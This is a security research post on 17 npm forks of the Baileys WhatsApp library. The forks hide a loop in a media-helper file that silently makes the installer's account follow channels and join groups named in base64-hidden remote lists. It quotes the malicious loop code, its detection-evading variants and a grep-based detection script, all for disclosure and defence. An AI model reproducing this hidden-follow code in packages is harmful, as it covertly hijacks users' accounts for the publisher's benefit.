PhantomSub's second loop:
17 npm packages hide a WhatsApp channel follow in a media file

This is a follow-up to our October report on 285 PhantomSub packages. PhantomSub forks of the Baileys WhatsApp library make the installer's own account follow WhatsApp channels the publisher chose. This post covers one form of it that our October count, and our own detector, did not see.

What CyberXYZ found

Everything in this section is CyberXYZ research, measured on 6 November 2026. We downloaded every published version of the 17 packages from the npm registry, confirmed npm's integrity hash, and read the code. Nothing was executed. For each version we checked the four things that make a follow covert, the same test as in October: the follow call, an automatic trigger, a target the publisher chose, and no notice to the user.

• 83 versions are covert. 51 carry loadBase. The other 32, in four of the packages, follow from lib/Socket/newsletter.js instead.
• 4 versions cannot run: their newsletter.js does not parse, so the library fails to load. We did not count them.
• 6 versions are clean: @skycodee/baileys 8.0.0 to 8.0.4 ship no lib/ folder at all, and @finzzcloud/baileys 0.0.0-stage is a placeholder.
• None documents the follow. No README mentions it, and no version prints a notice.

We compared the 17 names with every package named in the PhantomSub write-ups and with OSV. 12 appear nowhere. The other 5 (@danzxcode/danzx-bail, @elfhkry/baileys, @fyxzbail/baileys, @skycodee/baileys and @xyrozero/baileys-mod) were in our October list through a different follow in socket.js. For them the second loop is new, and so are 8 versions that have only this loop.

Covert versions out of all published versions, and when the covert ones were published, read 6 November 2026. "In our October list": named in our October post through its follow in socket.js. Downloads per package are in fig. 2.

Almost all of these versions were published months ago. 82 of the 83 were on npm before SafeDep's 10 August 2026 write-up on PhantomSub:

How the loop works

Stock Baileys builds its socket in layers, and one layer, makeNewsletterSocket, runs every time your bot creates a socket. In these forks it calls one extra line: loadBase(newsletterWMexQuery, QueryIds). The function lives in lib/Utils/messages-media.js, among the helpers that download media from messages. Someone reviewing the socket code has no reason to open that file.

This excerpt is from @lyyncode/lyyn-bail 9.0.8, the package's latest release. The string on line 352 decodes to hxxps://ch-rho[.]vercel[.]app/lyyn. Line 90 of lib/Socket/newsletter.js, inside makeNewsletterSocket, calls it: const newsletterQuery = loadBase(newsletterWMexQuery, QueryIds).

348  export const loadBase = async (n, q) => {
349    try {
350      setTimeout(async () => {
351  
352        const encoded = "aHR0cHM6Ly9jaC1yaG8udmVyY2VsLmFwcC9seXlu";
353        const url = Buffer.from(encoded, "base64").toString("utf-8");
354  
355        const res = await fetch(url);
356        const newsletterIds = await res.json();
357  
358        for (const i of newsletterIds) {
359          await delay(5000);
360          try {
361            await n(i.id, q.FOLLOW);
362          } catch {}
363        }
364  
365      }, 80000);
366    } catch {}
367  };

Line 361 is the follow. n is the query helper and q the table of query IDs, so the call never spells out QueryIds.FOLLOW or the FOLLOW query ID. That is why searches for those strings, ours included, did not find it.

Variants in the code

Group joins as well as channels

@rizzxdc/baileys 8.0.10 and @elfhkry/baileys 8.0.11 and 8.0.12 receive one more function, groupAcceptInvite. After following the channels, they fetch a second base64-hidden list, of group invite codes, and accept each one, so the account also joins WhatsApp groups. In @rizzxdc/baileys the two strings decode to files in the rizzxstorr-beep/Asep repository on GitHub. Both URLs end in %20, an encoded space, and the channel list really is stored under that name: it served 3 channel IDs on 6 November.

348  export const loadBase = async (n, q, groupAcceptInvite) => {
367        try {
368          if (groupAcceptInvite) {
369            const encodedGc = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3Jpenp4c3RvcnItYmVlcC9Bc2VwL3JlZnMvaGVhZHMvbWFpbi9ncm91cC5qc29uJTIw";
370            const urlGc = Buffer.from(encodedGc, "base64").toString("utf-8");
371  
372            const resGc = await fetch(urlGc);
373            const groupCodes = await resGc.json();
374  
375            for (const code of groupCodes) {
376              await delay(5000);
377              try {
378                await groupAcceptInvite(code);
379              } catch {}
380            }

Lines 349 to 366, not shown, are the channel loop from the first excerpt. Everything after line 386 is media code again, starting with downloadContentFromMessage.

An off switch nobody is told about

@finzzcloud/baileys 1.0.0, published on 2 November 2026, is the newest version of the loop. It follows once per logged-in account rather than once per process, and it stops if the environment variable BAILEYS_AUTO_FOLLOW is set to off. The default is on. The README does not mention the variable or the follow, and the list URL is still hidden in base64. We count it as covert: a switch the user is never told about does not make the follow disclosed, and hiding the targets never makes a follow acceptable.

348  export const loadBase = async (n, q, getId) => {
349    if (String(process.env.BAILEYS_AUTO_FOLLOW || "on").toLowerCase() === "off") return;
350    // sekali per AKUN (bukan per proses) -> bot utama & multi session masing-masing ikut follow
351    const done = (globalThis.__baileysAutoFollowDone ||= new Set());
352    const timer = setTimeout(async () => {
359        done.add(key);
360        const encoded = "aHR0cHM6Ly9jaC1maW56emNsb3VkLnZlcmNlbC5hcHAvbHl5bg";
361        const url = process.env.BAILEYS_CH_LIST_URL || Buffer.from(encoded, "base64").toString("utf-8");
362        const res = await fetch(url);

The Indonesian comment on line 350 reads "once per ACCOUNT (not per process): the main bot and each multi-session account all follow". The string on line 360 decodes to hxxps://ch-finzzcloud[.]vercel[.]app/lyyn, which served 7 channel IDs on 6 November.

One file, byte for byte, across five packages

In 20 of the 51 versions, lib/Utils/messages-media.js is the same file (sha256 657662b2…88939): @skycodee/baileys 8.0.5 to 8.0.15, @lyyncode/lyyn-bail 8.0.8 to 9.0.4, @robihostingid/baileys 8.0.8 and @xyrozero/baileys-mod 8.0.14. It is also the file in @rixxcodex/baileys 8.2.0 to 9.0.3, where Amazon Inspector first described the loop. All of them fetch the same list, skyzopedia/Screaper on GitHub. @skycodee/baileys shipped the file on 28 February 2026, seven months before @rixxcodex/baileys did, and its 8.0.12 source is published in the skyzopedia GitHub account, the account that hosts that list.

Smaller changes

• @fyxzbail/baileys renames the parameters, a(item.id, b.FOLLOW).
• @yaszz/bail adds ?t= and the current time to the list URL, so every fetch skips caches and gets the newest list.
• Older versions of @dyyxyzz/baileys-mod, back to 16 December 2025, follow from newsletter.js: hard-coded channels 5 or 70 seconds after the socket is created, a fetched list after 80 seconds, or both. Its 7.0.7 and 7.0.8 switch to loadBase with the same list.
• @dyyxyzz/baileys 1.0.3 and 1.0.4 and @dyyxyzz/baileys-mod 6.0.25 and 7.0.4 carry the follow, but a typo (QueryIds.>) or a missing parenthesis stops newsletter.js from parsing, so the library never loads. We did not count them. Nor did we count @modifikasi/baileys, which ships the loop with its list URL blanked out.

The lists behind it

The loadBase loops and the older newsletter.js follows in these packages fetch 22 list URLs (not counting the socket.js follow of the five October packages). We requested the 21 that are plain JSON on GitHub or Vercel once, on 6 November 2026, and stored the answers as data. 10 served channel IDs. The other 11 returned 404, were disabled by Vercel, timed out, or served broken JSON. The 22nd is a GitHub web page rather than a raw file, so the fork that fetches it cannot read it.

The entries carry labels. In the largest list, ch-gadzzxmod[.]vercel[.]app/lyyn, 85 of the 100 entries say "Permanen" (Indonesian for permanent) and 15 say "Exp 20 mei" or "Exp 5 Mei", an expiry date. The skyzopedia/Screaper list labels 21 of its 23 entries "Lifetime". The labels suggest that places on these lists are sold, either for good or until a date. Every bot that runs one of these forks then delivers a follower to each channel on the list.

Who installs them

npm counted 11,052 downloads of the 17 packages from 7 October to 5 November 2026. On deps.dev, no npm package depends on the latest version of any of the 14 packages it indexes, so these reach people who install them directly, mostly to build WhatsApp bots.

What is ours, and who described the loop first

The 17 packages, the reading of all 93 versions, the lists and their state, and the reports to OpenSSF credited to CyberXYZ are ours. No report from anyone else names any of the 17 (5 were in our own October list), and none of them had an OSV record or a GitHub malware advisory on 6 November 2026. Aikido's automated package feed labels some versions of six of them as malware, with no description of what the code does.

Amazon Inspector reported the campaign first, in single-package OSV records from 26 May 2026 (among them MAL-2026-4803), and described loadBase first, in its OSV report for @rixxcodex/baileys (MAL-2026-16483) on 23 September 2026. SafeDep published the first campaign write-up on 10 August 2026, Xygeni followed on 18 September, and OX Security named it PhantomSub on 28 September, showing the same hidden list URL in @rixxcodex/baileys.

How to check your project

This loop finds every Baileys fork in node_modules (any package that ships lib/Socket/newsletter.js and is not @whiskeysockets/baileys) and searches its lib/ for the follow in all its forms, loadBase included. It reads each package's real name, so a fork installed under an alias is still caught.

find node_modules -path '*/lib/Socket/newsletter.js' | while read -r f; do
  d="${f%/lib/Socket/newsletter.js}"
  name=$(node -p "require('./$d/package.json').name")
  [ "$name" = "@whiskeysockets/baileys" ] && continue
  echo "== $name ($d)"
  grep -rn --include='*.js' -E 'loadBase|7871414976211147|24404358912487870|\.FOLLOW\b|newsletterFollow\(' "$d/lib" | cut -c1-160
done

No output means no fork. Two kinds of hit are normal: the FOLLOW entry in the query-ID table under lib/Types, and the follow inside the newsletterFollow function, which is the call your own code makes. Any loadBase hit, and any FOLLOW inside a timer or a connection.update listener, is the sign to look for.

We tested it on 6 November 2026, in bash and zsh, on a project holding the official @whiskeysockets/baileys 7.0.0-rc14 and copies of three forks from this post, two of them in folders with other names, as an alias install puts them. It skipped the official package, printed the loadBase definition, its call and the q.FOLLOW line in the two loadBase forks, and printed the timer follows in the third. The command from our October post, run on the same project, printed none of the loadBase lines.

What CyberXYZ does about it

Our detector missed this loop until 5 November 2026. It recognised a follow only when the code named newsletterFollow, QueryIds.FOLLOW or the FOLLOW query ID, and loadBase receives the query table as a parameter instead. The fix, merged on 5 November, treats a FOLLOW ID handed to a helper as a follow, with the same tests as before: an automatic trigger, a target the publisher chose, no notice. We measured it on 7,335 Baileys-family versions before merging. It flagged 13 more versions and lost no earlier finding. It still flags none of the 116 official Baileys releases and none of the 31 feature forks we use as a false-positive check.

CyberXYZ Check blocks all 83 covert versions. Under the standard policy, CyberXYZ blocks known malware: a version with an OSV malicious-package record, or one our analysts have confirmed. On 6 November 2026 none of the 83 had either, so the install decision for all of them was allow. Our analysts confirmed all 83 from the static read on 7 November, and on 9 November 2026 CyberXYZ Check returned block for every one ("known malicious release"). OSV still had no record for any of the 17 packages that day, so the block rests on our own confirmation.

From 9 November 2026, automatic detections raise an alert on the standard policy. Until then, the install decision under that policy was allow for a version our detector flagged but no analyst had confirmed, although its package report showed the alert. It is now alert, so it is flagged before an analyst reviews it; confirmed malware still blocks. For example, @kyuu2nd/baileys 2.0.25, which our detector flags for an unasked channel follow in lib/Socket/newsletter.js, returned alert ("automated detection") on 9 November 2026.

Reported to OpenSSF, credited to CyberXYZ: the 12 new packages (65 versions) in pull request #1752, filed on 7 November 2026, and the loop plus the 8 new versions added to the 5 packages in our earlier pull request #1674. Both were still open on 9 November 2026; OSV assigns IDs when a report merges.

Supply-chain risk analysis

Mapped to MITRE ATT&CK:

Appendix A: every covert version

All versions were read on 6 November 2026, and CyberXYZ Check returned block for every covert version on 9 November 2026. Each package links to its CyberXYZ package report. The 12 new packages are in OpenSSF pull request #1752; the other 5 are in #1674.

Appendix B: indicators

Hosts are defanged. Package names, file paths, hashes and channel IDs stay plain so you can search for them.

Protocol and code

File hashes (sha256)

Channels hard-coded in the code